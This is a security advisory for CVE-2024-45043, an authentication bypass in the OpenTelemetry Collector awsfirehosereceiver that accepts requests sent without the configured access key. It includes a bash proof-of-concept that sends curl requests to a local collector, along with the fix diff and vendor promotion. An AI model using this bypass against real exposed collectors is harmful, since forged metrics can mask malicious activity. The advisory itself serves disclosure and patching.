CVE-2024-45043

CVE-2024-45043 is a medium-severity security vulnerability in github.com/open-telemetry/opentelemetry-collector-contrib/receiver/awsfirehosereceiver (go), affecting versions >= 0.49.0, < 0.108.0. It is fixed in 0.108.0.

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Runtime intelligence, not another scanner.

Summary

OpenTelemetry Collector module AWS Firehose Receiver Authentication Bypass Vulnerability

OpenTelemetry Collector module awsfirehosereceiver allows unauthenticated remote requests, even when configured to require a key.

OpenTelemetry Collector can be configured to receive CloudWatch metrics via an AWS Firehose Stream. Firehose sets the header X-Amz-Firehose-Access-Key with an arbitrary configured string. The OpenTelemetry Collector awsfirehosereceiver can optionally be configured to require this key on incoming requests. However, when this is configured it still accepts incoming requests with no key.

Details

Details

PoC

When simulating Firehose requests against vulnerable versions of the Collector, we can see “UNAUTHORIZED METRICS” printed to the console via the debug exporter.
(Note this script doesn’t run on some older still-vulnerable versions that do not have the “debug” exporter.)

#!/bin/bash

OTELCOL_VERSION=0.107.0
OTELCOL_BINARY="otelcol-contrib-${OTELCOL_VERSION}"
OTELCOL_PLATFORM="linux_amd64"
HOST_PORT=8081

cat > config.yaml << END
# https://opentelemetry.io/docs/collector/configuration/
exporters:
  debug:
    verbosity: normal
receivers:
  awsfirehose:
    endpoint : "127.0.0.1:${HOST_PORT}"
    record_type : "cwmetrics"
    access_key : "1234"
service:
  pipelines:
    metrics:
      receivers:
      - awsfirehose
      exporters:
      - debug
  telemetry:
    logs:
      encoding: "json"
      level: "debug"
END


if [ ! -x "${OTELCOL_BINARY}" ]; then
    curl --proto '=https' --tlsv1.2 -fOL https://github.com/open-telemetry/opentelemetry-collector-releases/releases/download/v${OTELCOL_VERSION}/otelcol-contrib_${OTELCOL_VERSION}_${OTELCOL_PLATFORM}.tar.gz
    tar -xvf otelcol-contrib_${OTELCOL_VERSION}_${OTELCOL_PLATFORM}.tar.gz otelcol-contrib
    mv otelcol-contrib ${OTELCOL_BINARY}
fi

"./${OTELCOL_BINARY}" --config=config.yaml &
OTELCOL_PID=$!

echo "Running OTel Collector with PID ${OTELCOL_PID}"

sleep 3

# Send metrics with correct access key
if ! curl --fail \
  -H "Content-Type: application/json"\
  -H "X-Amz-Firehose-Request-Id: requestId-valid"\
  -H "X-Amz-Firehose-Access-Key: 1234"\
  --data '{"requestId":"requestId-valid","timestamp":1723704887152,"records":[{"data":"eyJtZXRyaWNfc3RyZWFtX25hbWUiOiJ0ZXN0IiwiYWNjb3VudF9pZCI6IjEyMzQ1Njc4OSIsInJlZ2lvbiI6InVzLWVhc3QtMSIsIm5hbWVzcGFjZSI6IkFXUy9DbG91ZEZyb250IiwibWV0cmljX25hbWUiOiJSZXF1ZXN0cyIsImRpbWVuc2lvbnMiOnsiRGlzdHJpYnV0aW9uSWQiOiJBQkNEIiwiUmVnaW9uIjoiR2xvYmFsIn0sInRpbWVzdGFtcCI6MTcyMzcwNDU0MDAwMCwidmFsdWUiOnsibWF4IjoxLjAsIm1pbiI6MS4wLCJzdW0iOjkuMCwiY291bnQiOjkuMH0sInVuaXQiOiJOb25lIn0="}]}'\
  http://127.0.0.1:${HOST_PORT}
then
    echo "Unexpected, Request with valid access key did not succeed"
    kill ${OTELCOL_PID}
    exit 1
fi

# Send metrics with incorrect access key
if curl --fail \
  -H "Content-Type: application/json"\
  -H "X-Amz-Firehose-Request-Id: requestId-invalid"\
  -H "X-Amz-Firehose-Access-Key: 5678"\
  --data '{"requestId":"requestId-invalid","timestamp":1723704887152,"records":[{"data":"eyJtZXRyaWNfc3RyZWFtX25hbWUiOiJ0ZXN0IiwiYWNjb3VudF9pZCI6IjEyMzQ1Njc4OSIsInJlZ2lvbiI6InVzLWVhc3QtMSIsIm5hbWVzcGFjZSI6IkFXUy9DbG91ZEZyb250IiwibWV0cmljX25hbWUiOiJVTkFVVEhPUklaRUQgTUVUUklDUyIsImRpbWVuc2lvbnMiOnsiRGlzdHJpYnV0aW9uSWQiOiJBQkNEIiwiUmVnaW9uIjoiR2xvYmFsIn0sInRpbWVzdGFtcCI6MTcyMzcwNDU0MDAwMCwidmFsdWUiOnsibWF4IjoxLjAsIm1pbiI6MS4wLCJzdW0iOjU2NzguMCwiY291bnQiOjU2NzguMH0sInVuaXQiOiJOb25lIn0="}]}'\
  http://127.0.0.1:${HOST_PORT}
then
    echo "Unexpected, Request succeeded with invalid access key"
    kill ${OTELCOL_PID}
    exit 1
fi

# Send unauthorized metrics without an access key
if curl --fail \
  -H "Content-Type: application/json"\
  -H "X-Amz-Firehose-Request-Id: requestId-unauthorized"\
  --data '{"requestId":"requestId-unauthorized","timestamp":1723704887152,"records":[{"data":"eyJtZXRyaWNfc3RyZWFtX25hbWUiOiJ0ZXN0IiwiYWNjb3VudF9pZCI6IjEyMzQ1Njc4OSIsInJlZ2lvbiI6InVzLWVhc3QtMSIsIm5hbWVzcGFjZSI6IkFXUy9DbG91ZEZyb250IiwibWV0cmljX25hbWUiOiJVTkFVVEhPUklaRUQgTUVUUklDUyIsImRpbWVuc2lvbnMiOnsiRGlzdHJpYnV0aW9uSWQiOiJBQkNEIiwiUmVnaW9uIjoiR2xvYmFsIn0sInRpbWVzdGFtcCI6MTcyMzcwNDU0MDAwMCwidmFsdWUiOnsibWF4IjoxLjAsIm1pbiI6MS4wLCJzdW0iOjU2NzguMCwiY291bnQiOjU2NzguMH0sInVuaXQiOiJOb25lIn0="}]}'\
  http://127.0.0.1:${HOST_PORT}
then
    echo -e "\n*** Vulnerability present - request with no access key succeeded ***\n"
else
    echo "Not vulnerable - request with no key was denied."
    kill ${OTELCOL_PID}
    exit 1
fi

kill ${OTELCOL_PID}

Patch

The if statement makes the access key header optional, rather than the configuration optional.

This has been patched in #34847 to separately handle the case where access_key is not configured, and use a default-deny style:

diff --git a/receiver/awsfirehosereceiver/receiver.go b/receiver/awsfirehosereceiver/receiver.go
index 6211f61221..4d78eb2778 100644
--- a/receiver/awsfirehosereceiver/receiver.go
+++ b/receiver/awsfirehosereceiver/receiver.go
@@ -233,10 +233,14 @@ func (fmr *firehoseReceiver) ServeHTTP(w http.ResponseWriter, r *http.Request) {
 // validate checks the Firehose access key in the header against
 // the one passed into the Config
 func (fmr *firehoseReceiver) validate(r *http.Request) (int, error) {
-       if accessKey := r.Header.Get(headerFirehoseAccessKey); accessKey != "" && accessKey != string(fmr.config.AccessKey) {
-               return http.StatusUnauthorized, errInvalidAccessKey
+       if string(fmr.config.AccessKey) == "" {
+               // No access key is configured - accept all requests.
+               return http.StatusAccepted, nil
+       }
+       if accessKey := r.Header.Get(headerFirehoseAccessKey); accessKey == string(fmr.config.AccessKey) {
+               return http.StatusAccepted, nil
        }
-       return http.StatusAccepted, nil
+       return http.StatusUnauthorized, errInvalidAccessKey
 }

diff --git a/receiver/awsfirehosereceiver/receiver_test.go b/receiver/awsfirehosereceiver/receiver_test.go
index b02a391dd5..1ef5bdf4d3 100644
--- a/receiver/awsfirehosereceiver/receiver_test.go
+++ b/receiver/awsfirehosereceiver/receiver_test.go
@@ -123,6 +123,14 @@ func TestFirehoseRequest(t *testing.T) {
                        wantStatusCode: http.StatusUnauthorized,
                        wantErr:        errInvalidAccessKey,
                },
+               "WithNoAccessKey": {
+                       headers: map[string]string{
+                               headerFirehoseAccessKey: "",
+                       },
+                       body:           testFirehoseRequest(testFirehoseRequestID, noRecords),
+                       wantStatusCode: http.StatusUnauthorized,
+                       wantErr:        errInvalidAccessKey,
+               },
                "WithoutRequestId/Body": {
                        headers: map[string]string{
                                headerFirehoseRequestID: testFirehoseRequestID,

Impact

Only OpenTelemetry Collector users configured with the “alphaawsfirehosereceiver module are affected. This module was added in version v0.49.0 of the “Contrib” distribution (or may be included in custom builds).

There is a risk of unauthorized users writing metrics. Carefully crafted metrics could hide other malicious activity. There is no risk of exfiltrating data. It’s likely these endpoints will be exposed to the public internet, as Firehose does not support private HTTP endpoints.

CVE-2024-45043 has a CVSS score of 5.3 (Medium). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.108.0); upgrading removes the vulnerable code path.

Affected versions

github.com/open-telemetry/opentelemetry-collector-contrib/receiver/awsfirehosereceiver (>= 0.49.0, < 0.108.0)

Security releases

github.com/open-telemetry/opentelemetry-collector-contrib/receiver/awsfirehosereceiver → 0.108.0 (go)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

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Remediation advice

A fix was introduced in https://github.com/open-telemetry/opentelemetry-collector-contrib/pull/34847 and released with v0.108.0 (https://github.com/open-telemetry/opentelemetry-collector-releases/releases/tag/v0.108.0).

Frequently Asked Questions

  1. What is CVE-2024-45043? CVE-2024-45043 is a medium-severity security vulnerability in github.com/open-telemetry/opentelemetry-collector-contrib/receiver/awsfirehosereceiver (go), affecting versions >= 0.49.0, < 0.108.0. It is fixed in 0.108.0.
  2. How severe is CVE-2024-45043? CVE-2024-45043 has a CVSS score of 5.3 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of github.com/open-telemetry/opentelemetry-collector-contrib/receiver/awsfirehosereceiver are affected by CVE-2024-45043? github.com/open-telemetry/opentelemetry-collector-contrib/receiver/awsfirehosereceiver (go) versions >= 0.49.0, < 0.108.0 is affected.
  4. Is there a fix for CVE-2024-45043? Yes. CVE-2024-45043 is fixed in 0.108.0. Upgrade to this version or later.
  5. Is CVE-2024-45043 exploitable, and should I be worried? Whether CVE-2024-45043 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2024-45043 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2024-45043? Upgrade github.com/open-telemetry/opentelemetry-collector-contrib/receiver/awsfirehosereceiver to 0.108.0 or later.

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